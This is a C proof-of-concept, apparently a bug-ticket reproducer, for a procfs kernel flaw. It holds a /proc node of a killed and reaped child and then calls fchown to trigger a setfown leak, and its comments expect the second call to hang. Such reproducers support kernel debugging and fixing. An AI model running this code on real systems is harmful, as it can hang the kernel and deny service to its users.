DF-2550 / probe_kill.c
/* Decisive procfs test: child is SIGKILLed (guaranteed dead), reaped, then * we probe fstat(fd) on the held /proc/<child>/file vnode. If pfs_pfind * returns NULL after death, getattr returns ENOENT -> fchown triggers leak. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <sys/wait.h> #include <sys/stat.h> #include <errno.h> #include <string.h> int main(void) { char path[64]; int fd = -1, rc, i; pid_t pid, w; struct stat st; setvbuf(stderr, NULL, _IONBF, 0); pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { pause(); _exit(0); } /* child blocks forever */ /* parent opens a procfs vnode of the (alive) child */ const char *tries[] = { "file", "mem", "cmdline", "etype", "map", NULL }; for (i = 0; tries[i] && fd < 0; i++) { snprintf(path, sizeof(path), "/proc/%d/%s", (int)pid, tries[i]); fd = open(path, O_RDONLY); } if (fd < 0) { snprintf(path,sizeof(path),"/proc/%d",(int)pid); fd = open(path, O_RDONLY); } if (fd < 0) { fprintf(stderr,"open failed: %s\n", strerror(errno)); kill(pid,SIGKILL); waitpid(pid,NULL,0); return 2; } fprintf(stderr,"[kill] opened %s fd=%d for pid %d\n", path, fd, (int)pid); /* verify child alive, then SIGKILL + reap */ if (kill(pid, 0) == 0) fprintf(stderr,"[kill] child alive\n"); kill(pid, SIGKILL); while ((w = waitpid(pid, NULL, 0)) < 0 && errno == EINTR) {} fprintf(stderr,"[kill] child %d SIGKILLed+reaped; kill(0)=%d (%s)\n", (int)pid, kill(pid,0), strerror(errno)); for (i = 0; i < 30; i++) { errno = 0; rc = fstat(fd, &st); fprintf(stderr,"[kill] t+%4.1fs fstat rc=%d errno=%d (%s)\n", i*0.2, rc, errno, rc?strerror(errno):"ok"); if (rc < 0) break; usleep(200000); } if (rc == 0) { fprintf(stderr,"[kill] getattr never failed\n"); return 3; } fprintf(stderr,"[kill] getattr FAILS -> fchown to trigger setfown leak\n"); errno=0; rc=fchown(fd,-1,-1); fprintf(stderr,"[kill] fchown#1 rc=%d errno=%d (%s) <- LEAK if rc<0\n",rc,errno,rc?strerror(errno):"ok"); fprintf(stderr,"[kill] fchown#2 -> expect HANG\n"); errno=0; rc=fchown(fd,-1,-1); fprintf(stderr,"[kill] fchown#2 rc=%d errno=%d -- RETURNED\n",rc,errno); return 0; } |